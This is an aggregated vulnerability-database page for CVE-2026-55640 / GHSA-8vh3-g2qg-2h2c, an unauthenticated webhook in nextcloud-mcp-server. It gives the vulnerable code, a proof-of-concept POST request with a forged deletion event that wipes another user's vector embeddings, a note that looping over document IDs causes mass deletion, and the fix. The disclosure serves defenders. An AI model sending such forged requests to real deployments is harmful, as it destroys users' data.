Vulnerability-Lookup

CVE-2026-55640 (GCVE-0-2026-55640)

Vulnerability from cvelistv5 – Published: 2026-08-25 16:03 – Updated: 2026-08-25 19:20

Title

Nextcloud MCP Server: Unauthenticated `POST /webhooks/nextcloud` allows arbitrary vector data deletion when `WEBHOOK_SECRET` is unset ( default )

Summary

Nextcloud MCP Server is a production-ready MCP server that connects AI assistants to a Nextcloud instance. Prior to 0.117.2, the POST /webhooks/nextcloud endpoint in nextcloud_mcp_server/vector/webhook_receiver.py has no authentication by default because WEBHOOK_SECRET defaults to None and startup validation does not require it. When WEBHOOK_SECRET is unset, handle_nextcloud_webhook() accepts unauthenticated requests. The payload["user"]["uid"] field parsed in nextcloud_mcp_server/vector/webhook_parser.py is attacker-controlled and is used without an authenticated-session cross-check for Qdrant operations, allowing a network attacker to delete or trigger re-indexing of vector embeddings for any user and to destroy the semantic search index by sending forged deletion events. This issue is fixed in version 0.117.2.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 18:38 UTC

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/cbcoutinho/nextcloud-mcp-serve…	x_refsource_CONFIRM
https://github.com/cbcoutinho/nextcloud-mcp-serve…	x_refsource_MISC
https://github.com/cbcoutinho/nextcloud-mcp-serve…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
cbcoutinho	nextcloud-mcp-server	Affected: < 0.117.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-55640

Vulnerability from fkie_nvd - Published: 2026-08-25 16:16 - Updated: 2026-08-25 20:16

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/cbcoutinho/nextcloud-mcp-server/commit/4fc2b10945108cf1008ec9698291de6706ffcb73
	security-advisories@github.com	https://github.com/cbcoutinho/nextcloud-mcp-server/security/advisories/GHSA-8vh3-g2qg-2h2c
	security-advisories@github.com	https://github.com/cbcoutinho/nextcloud-mcp-server/tree/v0.117.2

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "nextcloud-mcp-server",
          "vendor": "cbcoutinho",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.117.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Nextcloud MCP Server is a production-ready MCP server that connects AI assistants to a Nextcloud instance. Prior to 0.117.2, the POST /webhooks/nextcloud endpoint in nextcloud_mcp_server/vector/webhook_receiver.py has no authentication by default because WEBHOOK_SECRET defaults to None and startup validation does not require it. When WEBHOOK_SECRET is unset, handle_nextcloud_webhook() accepts unauthenticated requests. The payload[\"user\"][\"uid\"] field parsed in nextcloud_mcp_server/vector/webhook_parser.py is attacker-controlled and is used without an authenticated-session cross-check for Qdrant operations, allowing a network attacker to delete or trigger re-indexing of vector embeddings for any user and to destroy the semantic search index by sending forged deletion events. This issue is fixed in version 0.117.2."
    }
  ],
  "id": "CVE-2026-55640",
  "lastModified": "2026-08-25T20:16:57.797",
  "metrics": {
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      {
        "cvssData": {
          "attackComplexity": "LOW",
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          "confidentialityImpact": "NONE",
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          "version": "3.1"
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        "impactScore": 5.2,
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        "type": "Secondary"
      }
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  "references": [
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    },
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}

GHSA-8VH3-G2QG-2H2C

Vulnerability from github – Published: 2026-08-25 16:04 – Updated: 2026-08-25 16:04

Summary

nextcloud-mcp-server: Unauthenticated `POST /webhooks/nextcloud` allows arbitrary vector data deletion when `WEBHOOK_SECRET` is unset ( default )

Details

Summary

The POST /webhooks/nextcloud endpoint has no authentication by default: WEBHOOK_SECRET defaults to None and is never required by startup validation. When unset, the receiver accepts any unauthenticated POST. The user_id is taken directly from the attacker-supplied payload and passed to Qdrant, allowing an unauthenticated attacker to delete or corrupt vector embeddings for any user.

Details

Vulnerable file: nextcloud_mcp_server/vector/webhook_receiver.py, function handle_nextcloud_webhook(), lines 55-67

Root cause 1: Auth check is guarded by if secret: - skipped entirely when WEBHOOK_SECRET is unset.

Root cause 2: webhook_secret: str | None = None in config - no startup validator enforces it, even when vector sync is enabled.

Trusted field: payload["user"]["uid"] in webhook_parser.py is used as-is for all Qdrant operations - no cross-check against an authenticated session.

webhook_receiver.py, lines 55-67:

secret = get_settings().webhook_secret  # None by default
if secret:                           # skipped entirely when unset
    ... validate Bearer header ...
else:
    _warn_missing_secret_once()     # just logs, still processes

webhook_parser.py, line 57:

user_id = payload["user"]["uid"]     # attacker-controlled

PoC

No credentials required. Works on any deployment where WEBHOOK_SECRET is not explicitly set (the default).

POST /webhooks/nextcloud
Content-Type: application/json

{
  "event": {
    "class": "OCP\\Files\\Events\\Node\\BeforeNodeDeletedEvent",
    "node": { "path": "/victim/files/Notes/any.md", "id": 12345 }
  },
  "user": { "uid": "victim" },
  "time": 0
}

Result: Qdrant deletes all vector embeddings for victim doc 12345 with no authentication. Attacker can loop over doc IDs for mass deletion. All user targets accepted.

Impact

Anyone on the network with access to port 8000 - no credentials needed.
Attacker can delete or trigger re-index of any user's vector embeddings in Qdrant by spoofing user.uid in the payload.
Mass-sending delete events for all doc IDs destroys the entire semantic search index for all users, requiring a full re-scan to recover.

Recommend Fix

Enforce WEBHOOK_SECRET at startup ( file config_validators.py )

if vector_sync_enabled and not settings.webhook_secret:
    raise ConfigurationError(
        "WEBHOOK_SECRET must be set when vector sync is enabled"
    )

Reject requests when secret is unset ( file webhook_receiver.py )

secret = get_settings().webhook_secret
if not secret:
    return JSONResponse({"status": "unavailable"}, status_code=503)
provided = request.headers.get("authorization", "").encode()
if not hmac.compare_digest(provided, f"Bearer {secret}".encode()):
    return JSONResponse({"status": "unauthorized"}, status_code=401)

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.117.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nextcloud-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.117.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T16:04:15Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe `POST /webhooks/nextcloud` endpoint has no authentication by default: `WEBHOOK_SECRET` defaults to `None` and is never required by startup validation. When unset, the receiver accepts any unauthenticated POST. The `user_id` is taken directly from the attacker-supplied payload and passed to Qdrant, allowing an unauthenticated attacker to delete or corrupt vector embeddings for any user.\n\n## Details\n**Vulnerable file:** `nextcloud_mcp_server/vector/webhook_receiver.py`, function `handle_nextcloud_webhook()`, **lines 55-67**\n\n**Root cause 1**: Auth check is guarded by `if secret`: - skipped entirely when `WEBHOOK_SECRET` is unset.\n\n**Root cause 2**: `webhook_secret: str | None = None` in config - no startup validator enforces it, even when vector sync is enabled.\n\n**Trusted field**: `payload[\"user\"][\"uid\"]` in `webhook_parser.py` is used as-is for all Qdrant operations - no cross-check against an authenticated session.\n\n`webhook_receiver.py`, **lines 55-67**:\n```python\nsecret = get_settings().webhook_secret  # None by default\nif secret:                           # skipped entirely when unset\n    ... validate Bearer header ...\nelse:\n    _warn_missing_secret_once()     # just logs, still processes\n```\n`webhook_parser.py`, **line 57**:\n```python\nuser_id = payload[\"user\"][\"uid\"]     # attacker-controlled\n```\n## PoC\n**No credentials required**. Works on any deployment where `WEBHOOK_SECRET` is not explicitly set (the default).\n```json\nPOST /webhooks/nextcloud\nContent-Type: application/json\n\n{\n  \"event\": {\n    \"class\": \"OCP\\\\Files\\\\Events\\\\Node\\\\BeforeNodeDeletedEvent\",\n    \"node\": { \"path\": \"/victim/files/Notes/any.md\", \"id\": 12345 }\n  },\n  \"user\": { \"uid\": \"victim\" },\n  \"time\": 0\n}\n```\n**Result:** **Qdrant** deletes all vector embeddings for `victim` doc `12345` with **no authentication**. Attacker can loop over doc IDs for mass deletion.  All user targets accepted.\n\n\n## Impact\n+ Anyone on the network with access to port `8000` - no credentials needed.\n+ Attacker can delete or trigger re-index of any user\u0027s vector embeddings in Qdrant by spoofing `user.uid` in the payload.\n+ Mass-sending delete events for all doc IDs destroys the entire semantic search index for all users, requiring a full re-scan to recover.\n\n## Recommend Fix\n1. Enforce `WEBHOOK_SECRET` at startup ( file `config_validators.py` )\n```python\nif vector_sync_enabled and not settings.webhook_secret:\n    raise ConfigurationError(\n        \"WEBHOOK_SECRET must be set when vector sync is enabled\"\n    )\n```\n2. Reject requests when secret is unset ( file `webhook_receiver.py` )\n```python\nsecret = get_settings().webhook_secret\nif not secret:\n    return JSONResponse({\"status\": \"unavailable\"}, status_code=503)\nprovided = request.headers.get(\"authorization\", \"\").encode()\nif not hmac.compare_digest(provided, f\"Bearer {secret}\".encode()):\n    return JSONResponse({\"status\": \"unauthorized\"}, status_code=401)\n```",
  "id": "GHSA-8vh3-g2qg-2h2c",
  "modified": "2026-08-25T16:04:15Z",
  "published": "2026-08-25T16:04:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/security/advisories/GHSA-8vh3-g2qg-2h2c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/commit/4fc2b10945108cf1008ec9698291de6706ffcb73"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cbcoutinho/nextcloud-mcp-server/tree/v0.117.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nextcloud-mcp-server: Unauthenticated `POST /webhooks/nextcloud` allows arbitrary vector data deletion when `WEBHOOK_SECRET` is unset ( default )"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2026-55640 (GCVE-0-2026-55640)

FKIE_CVE-2026-55640

GHSA-8VH3-G2QG-2H2C

Summary

Details

PoC

Impact

Recommend Fix

Tags

Sightings

Nomenclature